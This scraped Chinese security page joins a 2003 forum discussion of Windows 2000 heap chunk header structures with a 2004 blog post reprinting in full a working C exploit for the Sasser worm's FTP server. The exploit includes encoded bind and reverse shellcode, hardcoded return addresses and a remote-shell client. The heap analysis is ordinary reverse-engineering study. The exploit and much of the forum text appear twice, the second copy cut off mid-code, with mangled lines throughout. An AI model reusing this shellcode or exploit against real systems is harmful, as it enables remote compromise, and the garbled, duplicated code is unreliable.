关于堆块管理结构的内容,SCZ给出是很正确的说明,,其实充分利用堆操作对这些字段的操作的各种特性,可以获得利用堆的非常具备实用的技巧,如最近的MESSENGER的堆益处,利用堆的这些特性,我们能够写出非常有效的利用程序来,即使在2K SP4这种TOP SEH带0X14的系统上也能获得非常好的成功率,也能简单处理堆异常引发的一些导致API不能成功调用的问题.
另外关于+0x006 UnusedBytes : UChar,我这里给出我的详细的此字段的分析吧:
#############################################
2.2.5 FreeSize字段
长度:1字节
偏移:6
含义:非正常使用的堆块空间大小,单位为字节
说明:
此字段的大小包含了8字节的管理头结构和因对齐或重分配导致的浪费的空间大小。
通过这个字段可以算出实际申请分配的堆块空间大小。也就是8*ThisChunkSize-FreeSize
由于堆块的大小是取8字节对齐的,因此在分配的时候存在因对齐而空余的几个字节。。
另外由于堆的重分配操作,也会改变此字段的大小,甚至有可能会使得此字段大于等于0X10(非重分配的正常分此字段必然大于等于8小于0X10)
此字段只在堆块为已使用状态下有意义。
但是对于堆本身管理结构所使用的堆块,一般固定为0。
################################################
我想hume的这段代码:
if (pPeb->NumberOfHeaps>NumberOfHeaps)
{
NumEnum=pPeb->NumberOfHeaps;
}
是不是应该是这样的:
if (pPeb->NumberOfHeaps {
NumEnum=pPeb->NumberOfHeaps;
}
因为我认为这儿的NumEnum代表的是将要分配的内存块数,而NumberOfHeaps是所需的最大块数,所以在pPeb->NumberOfHeaps>NumberOfHeaps的条件下
NumEnum应该等于NumberOfHeaps而不是pPeb->NumberOfHeaps。不知我理解可否正确?请指正。
---
还有一个BYTE flag=pMng->Flags
应为BYTE flag2=pMng->Flags
仔细看了看,SICE看的眼花,上面文章中已经更正谢楼上
hume 编辑于 2003-11-07 17:52
Written: Hume/冷雨
Email: humewen@21cn.com
QQ: 8709369
恰逢冲击波病毒肆虐,因此拜读了ISNO、ISLY、yuange、flashsky等高人关于堆溢出的文章,佩服之至。闲暇之余,亦对堆溢出产生了浓厚的兴趣,就是想知道为什么会这样以及Windows是如何控制堆对象的,这在上述的文章中均没有详细述及。简而言之,就是想搞懂Windows的堆管理器。这个问题实在是烦琐,因为我看不到Windows的源代码,只好反汇编之。要全部看懂这些代码要花不少时间,而最近上头逼的又紧,所以只能看懂多少算多少了,反正丑媳妇不怕见公婆吗。以前没怎么接触过安全方面的东西,一些幼稚的想法和推断,也列在其中,敬请指正。
堆的分配算法等细节随不同操作系统版本是有变化的,本文基于Windows 2000 PRO SP4版本。
1、Win32堆的价值
Win32堆(heap)是Windows负责为用户程序维护分配、校验、释放等细节的一块区域,可以将作为一个分配器(allocator)对象来对待。Win32堆是基于虚拟内存管理器的,分配和提交内存等都依赖于虚拟内存管理器,高级语言中也有其各自的堆管理,一般这些堆管理是基于Win32堆的。比如下面的流程:
应用程序-->C运行时堆
|
|
^
Win32堆管理
|
|
^
NT运行时库函数(NTDLL.DLL)--->windows虚拟内存管理器
事实上,win32环境子系统的堆管理函数大部分是对NTDLL.DLL中相关函数的直接向前(forward)引用。那么问题是我们为什么不直接调用虚拟内存函数自己来管理内存呢?我们自己绝对可以这样干,但要付出的代价肯定也是巨大的:
1.如何处理多线程访问内存的同步;
2.如何在需要多块、频繁的内存时释放、分配时减少内存碎片并保证内存分配和使用的效率;
3......
重新发明一个轮子是可行的,不过我们完全没有必要这样做,不仅是因为我们懒惰,更是为了配合软件工程学的一些基本原则。于是,各种高级语言编译器中都采用了堆管理,很多for Win编译器都封装了Win32堆函数,我们也就开始使用摆在那里的好用的堆函数。
2.Windows的堆管理
堆管理器采用的分配算法在不同的Win版本上是不同的,微软也一直在拿广大用户的计算机做试验,试图在效率和资源占用两方面取得一个合理的折衷。堆的管理和回收是个很大的主题,在网上这样的多如牛毛。在关于堆溢出的文章中我看到的有几点:一是分配内存块的管理结构,一是堆分配和释放的链表管理,但都没有详细说明。本文试图进行一点详细说明,以便能够吃到鱼,还能知道为什么能吃到鱼。
在NTDLL中windows为堆管理提供了两套API,一套是用于正常管理分配的,一套是用于调试的。堆调试API为探测堆溢出、验证堆的有效性等提供了便利。在使用某些ring3调试器调试的时候,Windows会创建调试堆,因此要对正常的堆分配进行跟踪,最好使用ring0调试器(如SICE)。对于堆调试API,不作分析。下面的说明及分析均基于正常的堆分配。
3.堆的细节
创建进程时会创建一个默认堆,可以使用GetProcessHeap获取,这个函数很简单,下面是伪码:
//
//lc:KERNLE32.DLL 获取进程默认堆的句柄,从PEB中取得进程默认堆句柄
//
HANDLE GetProcessHeap(VOID)
{
PPEB pPeb;
__asm
{
mov eax,fs:[0x18] //pTeb linear addr
mov eax,[eax+0x30] //pPeb
mov pPeb,eax
}
return pPeb->ProcessHeap; //*(pPeb+0x18)
}
RtlGetProcessHeaps是类似的,以下是伪码:
DWORD RtlGetProcessHeaps(
DWORD NumberOfHeaps, // maximum number of heap handles
PHANDLE ProcessHeaps // buffer for heap handles
){
__try{
PPEB pPeb;
DWORD NumEnum;
__asm{
mov eax,fs:[18]
mov eax,[eax+30]
mov pPeb,eax //get PEB pointer
}
RtlEnterCriticalSection(&_RtlpProcessHeapsListLock);
NumEnum=NumberOfHeaps;
if (NumberOfHeaps>pPeb->NumberOfHeaps)
{
NumEnum=pPeb->NumberOfHeaps;
}
memmov(ProcessHeaps,pPeb->ProcessHeapsList,NumEnum);
RtlLeaveCriticalSection(&_RtlpProcessHeapsListLock);
//
//调试相关
//
if (_RtlpDebugPageHeap)
{
_RtlpDebugPageHeapGetProcessHeaps(NumberOfHeaps,ProcessHeaps);
}
}
__finally
{
RtlLeaveCriticalSection(&_RtlpProcessHeapsListLock);
}
return true;
}
堆句柄实际是指向堆头部结构的一个指针。
一些堆信息都是从PEB中获取的,堆的行为还会受到NT GLOBAL FLAG的影响,这些标志大约有8个,控制着进行堆操作时是否进行参数检查、合并相邻的空闲块等行为,具体参见MSDN的GLOBAL FLAGS refrence。
在一些堆溢出文章中提到了8个字节的管理结构,这8字节的管理结构位于分配的堆内存块的前面,整个堆大约是这样子的:
|堆的头部结构|堆管理结构|用户分配的堆块 .....|堆管理结构|用户分配的堆块|堆末尾管理结构|链表节点
这8字节的管理结构究竟是什么样的呢?经过反汇编研究,发现是这样的。
typedef struct
{
/*0x0*/ USHORT curBlockSizeDiv8;
/*0x2*/ USHORT prevBlockSizeDiv8;
/*0x4*/ UCHAR index;
/*0x5*/ UCHAR flags;
/*0x6*/ USHORT sizeMng;
} MNG_STRUCT,*PMNG_STRUCT;
curBlockSizeDiv8和prevBlockSizeDiv8分别是当前分配堆块和其紧临其前的分配堆块的大小,计算方法是堆块的实际字节数大小除以8。index是指向头结构0x58开始的大小为0x40的一个双字数组的索引,含义还不是很清楚,推测用于管理非常多的堆块的扩充,也许类似目录的作用,该值一般为0,也就是说一般只有一个表项,很显然不能大于0x40。flags是堆块的标志,为1是正常分配的堆块,为0x10表示末尾链表节点之前的堆块。sizeMng实际是
(要求分配的字节数按照8字节对齐后+8字节的管理区的大小)-要求分配的字节数
用这个值可以计算出请求分配的内存的大小。堆管理的RtlSizeHeap就是这样计算的,下面是伪码:
//location:NTDLL.DLL 获取堆块的大小 Kernel32.DLL.HeapSize->forward
DWORD RtlSizeHeap(
HANDLE hHeap, // handle to the heap
DWORD dwFlags, // heap size control flags
LPCVOID lpMem // pointer to memory to return size for
){
ULONG HeapSizeByBytes=0;
PVOID ptrHeap= (void *)hHeap;
DWORD flag1=[ptrHeap+0x10];
if (flag1&0x69020000)
{
//堆调试处理省略之
debug_do_something;
return;
}
PMNG_STRUCT pMng=(unsigned char *)lpMem-8;
BYTE flag=pMng->Flags;
if (flag2!=1)
{
invalid_param();
return;
}
return (pMng->curBlockSizeDiv8 * 8 - pMng->sizeMng);
}
对管理结构的了解有助于构造溢出数据,利用堆溢出避免在Validate等操作后检查出数据错误,甚至可以在堆溢出获取控制权后重构堆数据避免一些问题。
夜深,有时间再继续。。。。
Good.
> 这8字节的管理结构究竟是什么样的呢?经过反汇编研究,发现是这样的。
这是微软自己的定义
+0x000 Size : Uint2B
+0x002 PreviousSize : Uint2B
+0x000 SubSegment : Ptr32 to Void
+0x004 SegmentIndex : UChar
+0x005 Flags : UChar
+0x006 UnusedBytes : UChar
+0x007 SmallTagIndex : UChar
小四哥,不会是查看了Windows的源代码了吧?知道这个我就不费劲了。。。。
不过看起来象是Windbg的定义。。。。
+0x006 UnusedBytes : UChar
这个好像确实有用,不是UnusedBytes
严格说,这里只涉及到堆块管理结构的内容,要说WINDOWS下的堆的分析,还有很多内容的.我前一段时间仔细分析了一些WINDOWS的对内容,大致也写了40来页的WINDOWS堆结构的分析的东西.
关于堆块管理结构的内容,SCZ给出是很正确的说明,,其实充分利用堆操作对这些字段的操作的各种特性,可以获得利用堆的非常具备实用的技巧,如最近的MESSENGER的堆益处,利用堆的这些特性,我们能够写出非常有效的利用程序来,即使在2K SP4这种TOP SEH带0X14的系统上也能获得非常好的成功率,也能简单处理堆异常引发的一些导致API不能成功调用的问题.
另外关于+0x006 UnusedBytes : UChar,我这里给出我的详细的此字段的分析吧:
#############################################
2.2.5 FreeSize字段
长度:1字节
偏移:6
含义:非正常使用的堆块空间大小,单位为字节
说明:
此字段的大小包含了8字节的管理头结构和因对齐或重分配导致的浪费的空间大小。
通过这个字段可以算出实际申请分配的堆块空间大小。也就是8*ThisChunkSize-FreeSize
由于堆块的大小是取8字节对齐的,因此在分配的时候存在因对齐而空余的几个字节。。
另外由于堆的重分配操作,也会改变此字段的大小,甚至有可能会使得此字段大于等于0X10(非重分配的正常分此字段必然大于等于8小于0X10)
此字段只在堆块为已使用状态下有意义。
但是对于堆本身管理结构所使用的堆块,一般固定为0。
################################################
我想hume的这段代码:
if (pPeb->NumberOfHeaps>NumberOfHeaps)
{
NumEnum=pPeb->NumberOfHeaps;
}
是不是应该是这样的:
if (pPeb->NumberOfHeaps
NumEnum=pPeb->NumberOfHeaps;
}
因为我认为这儿的NumEnum代表的是将要分配的内存块数,而NumberOfHeaps是所需的最大块数,所以在pPeb->NumberOfHeaps>NumberOfHeaps的条件下
NumEnum应该等于NumberOfHeaps而不是pPeb->NumberOfHeaps。不知我理解可否正确?请指正。
---
还有一个BYTE flag=pMng->Flags
应为BYTE flag2=pMng->Flags
仔细看了看,SICE看的眼花,上面文章中已经更正谢楼上
hume 编辑于 2003-11-07 17:52
星期五, 五月 14, 2004
感染Sasser的蠕虫
这一周以来最搞笑的消息莫过于这一条:
Sasser蠕虫内置的FTPD服务器(TCP:5554)存在一个缓冲区溢出漏洞,受影响系统, 所有被Sasser a-e变种感染的Win2000/XP。受不了啦,哈哈,也太没专业精神了......我不知道过两天会不会出现什么新蠕虫专门感染Sasser的,叫Agent Smith......
另外,OpenBSD 3.5 / NetBSD 2.0 / FreeBSD 4.10(bata)相继出来了,新特性多多,小白鼠们上。
Title 11/5/2004
Sasser Worm Remote FTPD Buffer Overflow Exploit Code (Port 5554)
Summary
A buffer overflow exists in Sasser Worm's FTP server. Attached is an exploit code that opens a shell on the target system.
Details
Vulnerable Systems:
* Sasser versions a through e
Exploit:
/*
_____ ____________
_________ / ___// ____/ ____/
/ ___/ __ \\__ \/ __/ / /
/ / / /_/ /__/ / /___/ /___
/_/ \____/____/_____/\____/
- ROMANIAN SECURITY RESEARCH 2004 -
sasser v[a-e] exploit (of its ftpd server)
exploit version 1.3, not private anymore
author: mandragore
date: Tue May 4 13:32:38 2004
vuln type: SEH ptr overwriting
greets: rosecurity team
discovery: edcba
note: sasser.e has its ftpd on port 1023
*/
#include
#include
#include
#include
#include
#define NORM "\033[00;00m"
#define GREEN "\033[01;32m"
#define YELL "\033[01;33m"
#define RED "\033[01;31m"
#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.3 for " RED "sasser.x" NORM
#define fatal(x) { perror(x); exit(1); }
#define default_port 5554
struct { char *os; long goreg; long gpa; long lla;}
targets[] = {
// { "os", go ebx or pop pop ret, GetProcAd ptr, LoadLib ptr },
{ "wXP SP1 all", 0x77C0BF21, 0x77be10CC, 0x77be10D0 },
{ "w2k SP4 all", 0x7801D081, 0x780320cc, 0x780320d0 },
}, tsz;
unsigned char bsh[]={
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xDD,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,
0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,
0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,
0x0E,0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0x36,
0xDB,0xDE,0xDE,0xDE,0xBC,0xB7,0xB0,0xBA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF,
0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xB2,0xB7,0xAD,0xAA,0xBB,0xB0,0xDE,0x89,0x21,0xC8,
0x21,0x0E,0xB4,0xDE,0x8A,0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xBF,0xBD,0xBD,0xBB,0xAE,
0xAA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,0x87,0x55,0x22,
0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,
0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,
0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,
0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,
0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,
0xC8,0x21,0x0E
};
unsigned char rsh[]={
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB6,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,
0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,
0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,
0x0E,0x4D,0xB6,0xA1,0xDE,0xDE,0xDF,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,
0x8E,0x8D,0x36,0xD6,0xDE,0xDE,0xDE,0xBD,0xB1,0xB0,0xB0,0xBB,0xBD,0xAA,0xDE,0x89,
0x21,0xC8,0x21,0x0E,0xB4,0xCE,0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,
0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,
0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,
0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,
0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,
0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E
};
char verbose=0;
void setoff(long GPA, long LLA) {
int gpa=GPA^0xdededede, lla=LLA^0xdededede;
memcpy(bsh+0x1d,&gpa,4);
memcpy(bsh+0x2e,&lla,4);
memcpy(rsh+0x1d,&gpa,4);
memcpy(rsh+0x2e,&lla,4);
}
void usage(char *argv0) {
int i;
printf("%s -d [opts]\n\n",argv0);
printf("Options:\n");
printf(" -h undocumented\n");
printf(" -p to connect to [default: %u]\n",default_port);
printf(" -s <'bind'/'rev'> shellcode type [default: bind]\n");
printf(" -P for the shellcode [default: 530]\n");
printf(" -H for the reverse shellcode\n");
printf(" -L setup the listener for the reverse shell\n");
printf(" -t [default 0]; choose below\n\n");
printf("Types:\n");
for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)
printf(" %d %s\t[0x%.8x]\n", i, targets[i].os, targets[i].goreg);
exit(1);
}
void shell(int s) {
char buff[4096];
int retval;
fd_set fds;
printf("[+] connected!\n\n");
for (;;) {
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(s,&fds);
if (select(s+1, &fds, NULL, NULL, NULL) < 0)
fatal("[-] shell.select()");
if (FD_ISSET(0,&fds)) {
if ((retval = read(1,buff,4096)) < 1)
fatal("[-] shell.recv(stdin)");
send(s,buff,retval,0);
}
if (FD_ISSET(s,&fds)) {
if ((retval = recv(s,buff,4096,0)) < 1)
fatal("[-] shell.recv(socket)");
write(1,buff,retval);
}
}
}
void callback(short port) {
struct sockaddr_in sin;
int s,slen=16;
sin.sin_family = 2;
sin.sin_addr.s_addr = 0;
sin.sin_port = htons(port);
s=socket(2,1,6);
if ( bind(s,(struct sockaddr *)&sin, 16) ) {
kill(getppid(),SIGKILL);
fatal("[-] shell.bind");
}
listen(s,1);
s=accept(s,(struct sockaddr *)&sin,&slen);
shell(s);
printf("crap\n");
}
int main(int argc, char **argv, char **env) {
struct sockaddr_in sin;
struct hostent *he;
char *host; int port=default_port;
char *Host; int Port=5300; char bindopt=1;
int i,s,pid=0,rip;
char *buff;
int type=0;
char *jmp[]={"\xeb\x06","\xe9\x13\xfc\xff\xff"};
printf(BANNER "\n");
if (argc==1)
usage(argv[0]);
for (i=1;i if (strlen(argv[i]) != 2)
usage(argv[0]);
switch(argv[i][1]) {
case 't':
type=atoi(argv[i+1]);
break;
case 'd':
host=argv[i+1];
break;
case 'p':
port=atoi(argv[i+1]) :default_port;
break;
case 's':
if (strstr(argv[i+1],"rev"))
bindopt=0;
break;
case 'H':
Host=argv[i+1];
break;
case 'P':
Port=atoi(argv[i+1]) :5300;
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
memcpy(bsh+0x57,&Port,2);
memcpy(rsh+0x5a,&Port,2);
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
break;
case 'L':
pid++; i--;
break;
case 'v':
verbose++; i--;
break;
case 'h':
usage(argv[0]);
default:
usage(argv[0]);
}
}
if (verbose)
printf("verbose!\n");
if ((he=gethostbyname(host))==NULL)
fatal("[-] gethostbyname()");
sin.sin_family = 2;
sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);
sin.sin_port = htons(port);
printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);
if (bindopt)
printf("[.] will try to put a bindshell on port %d.\n",Port);
else {
if ((he=gethostbyname(Host))==NULL)
fatal("[-] gethostbyname() for -H");
rip=*((long *)he->h_addr_list[0]);
rip=rip^0xdededede;
memcpy(rsh+0x53,&rip,4);
if (pid) {
printf("[.] setting up a listener on port %d.\n",Port);
pid=fork();
switch (pid) { case 0: callback(Port); }
} else
printf("[.] you should have a listener on %s:%d.\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),Port);
}
printf("[.] using type '%s'\n",targets[type].os);
// -------------------- core
s=socket(2,1,6);
if (connect(s,(struct sockaddr *)&sin,16)!=0) {
if (pid) kill(pid,SIGKILL);
fatal("[-] connect()");
}
printf("[+] connected, sending exploit\n");
buff=(char *)malloc(4096);
bzero(buff,4096);
sprintf(buff,"USER x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);
sprintf(buff,"PASS x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);
memset(buff+0000,0x90,2000);
strncpy(buff,"PORT ",5);
strcat(buff,"\x0a");
memcpy(buff+272,jmp[0],2);
memcpy(buff+276,&targets[type].goreg,4);
memcpy(buff+280,jmp[1],5);
setoff(targets[type].gpa, targets[type].lla);
if (bindopt)
memcpy(buff+300,&bsh,strlen(bsh));
else
memcpy(buff+300,&rsh,strlen(rsh));
send(s,buff,strlen(buff),0);
free(buff);
close(s);
// -------------------- end of core
if (bindopt) {
sin.sin_port = htons(Port);
sleep(1);
s=socket(2,1,6);
if (connect(s,(struct sockaddr *)&sin,16)!=0)
fatal("[-] exploit most likely failed");
shell(s);
}
if (pid) wait(&pid);
exit(0);
}
Sasser蠕虫内置的FTPD服务器(TCP:5554)存在一个缓冲区溢出漏洞,受影响系统, 所有被Sasser a-e变种感染的Win2000/XP。受不了啦,哈哈,也太没专业精神了......我不知道过两天会不会出现什么新蠕虫专门感染Sasser的,叫Agent Smith......
另外,OpenBSD 3.5 / NetBSD 2.0 / FreeBSD 4.10(bata)相继出来了,新特性多多,小白鼠们上。
Title 11/5/2004
Sasser Worm Remote FTPD Buffer Overflow Exploit Code (Port 5554)
Summary
A buffer overflow exists in Sasser Worm's FTP server. Attached is an exploit code that opens a shell on the target system.
Details
Vulnerable Systems:
* Sasser versions a through e
Exploit:
/*
_____ ____________
_________ / ___// ____/ ____/
/ ___/ __ \\__ \/ __/ / /
/ / / /_/ /__/ / /___/ /___
/_/ \____/____/_____/\____/
- ROMANIAN SECURITY RESEARCH 2004 -
sasser v[a-e] exploit (of its ftpd server)
exploit version 1.3, not private anymore
author: mandragore
date: Tue May 4 13:32:38 2004
vuln type: SEH ptr overwriting
greets: rosecurity team
discovery: edcba
note: sasser.e has its ftpd on port 1023
*/
#include
#include
#include
#include
#include
#define NORM "\033[00;00m"
#define GREEN "\033[01;32m"
#define YELL "\033[01;33m"
#define RED "\033[01;31m"
#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.3 for " RED "sasser.x" NORM
#define fatal(x) { perror(x); exit(1); }
#define default_port 5554
struct { char *os; long goreg; long gpa; long lla;}
targets[] = {
// { "os", go ebx or pop pop ret, GetProcAd ptr, LoadLib ptr },
{ "wXP SP1 all", 0x77C0BF21, 0x77be10CC, 0x77be10D0 },
{ "w2k SP4 all", 0x7801D081, 0x780320cc, 0x780320d0 },
}, tsz;
unsigned char bsh[]={
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xDD,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,
0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,
0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,
0x0E,0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0x36,
0xDB,0xDE,0xDE,0xDE,0xBC,0xB7,0xB0,0xBA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF,
0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xB2,0xB7,0xAD,0xAA,0xBB,0xB0,0xDE,0x89,0x21,0xC8,
0x21,0x0E,0xB4,0xDE,0x8A,0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xBF,0xBD,0xBD,0xBB,0xAE,
0xAA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,0x87,0x55,0x22,
0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,
0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,
0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,
0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,
0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,
0xC8,0x21,0x0E
};
unsigned char rsh[]={
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB6,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,
0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,
0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,
0x0E,0x4D,0xB6,0xA1,0xDE,0xDE,0xDF,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,
0x8E,0x8D,0x36,0xD6,0xDE,0xDE,0xDE,0xBD,0xB1,0xB0,0xB0,0xBB,0xBD,0xAA,0xDE,0x89,
0x21,0xC8,0x21,0x0E,0xB4,0xCE,0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,
0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,
0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,
0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,
0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,
0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E
};
char verbose=0;
void setoff(long GPA, long LLA) {
int gpa=GPA^0xdededede, lla=LLA^0xdededede;
memcpy(bsh+0x1d,&gpa,4);
memcpy(bsh+0x2e,&lla,4);
memcpy(rsh+0x1d,&gpa,4);
memcpy(rsh+0x2e,&lla,4);
}
void usage(char *argv0) {
int i;
printf("%s -d
printf("Options:\n");
printf(" -h undocumented\n");
printf(" -p
printf(" -s <'bind'/'rev'> shellcode type [default: bind]\n");
printf(" -P
printf(" -H
printf(" -L setup the listener for the reverse shell\n");
printf(" -t
printf("Types:\n");
for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)
printf(" %d %s\t[0x%.8x]\n", i, targets[i].os, targets[i].goreg);
exit(1);
}
void shell(int s) {
char buff[4096];
int retval;
fd_set fds;
printf("[+] connected!\n\n");
for (;;) {
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(s,&fds);
if (select(s+1, &fds, NULL, NULL, NULL) < 0)
fatal("[-] shell.select()");
if (FD_ISSET(0,&fds)) {
if ((retval = read(1,buff,4096)) < 1)
fatal("[-] shell.recv(stdin)");
send(s,buff,retval,0);
}
if (FD_ISSET(s,&fds)) {
if ((retval = recv(s,buff,4096,0)) < 1)
fatal("[-] shell.recv(socket)");
write(1,buff,retval);
}
}
}
void callback(short port) {
struct sockaddr_in sin;
int s,slen=16;
sin.sin_family = 2;
sin.sin_addr.s_addr = 0;
sin.sin_port = htons(port);
s=socket(2,1,6);
if ( bind(s,(struct sockaddr *)&sin, 16) ) {
kill(getppid(),SIGKILL);
fatal("[-] shell.bind");
}
listen(s,1);
s=accept(s,(struct sockaddr *)&sin,&slen);
shell(s);
printf("crap\n");
}
int main(int argc, char **argv, char **env) {
struct sockaddr_in sin;
struct hostent *he;
char *host; int port=default_port;
char *Host; int Port=5300; char bindopt=1;
int i,s,pid=0,rip;
char *buff;
int type=0;
char *jmp[]={"\xeb\x06","\xe9\x13\xfc\xff\xff"};
printf(BANNER "\n");
if (argc==1)
usage(argv[0]);
for (i=1;i
usage(argv[0]);
switch(argv[i][1]) {
case 't':
type=atoi(argv[i+1]);
break;
case 'd':
host=argv[i+1];
break;
case 'p':
port=atoi(argv[i+1]) :default_port;
break;
case 's':
if (strstr(argv[i+1],"rev"))
bindopt=0;
break;
case 'H':
Host=argv[i+1];
break;
case 'P':
Port=atoi(argv[i+1]) :5300;
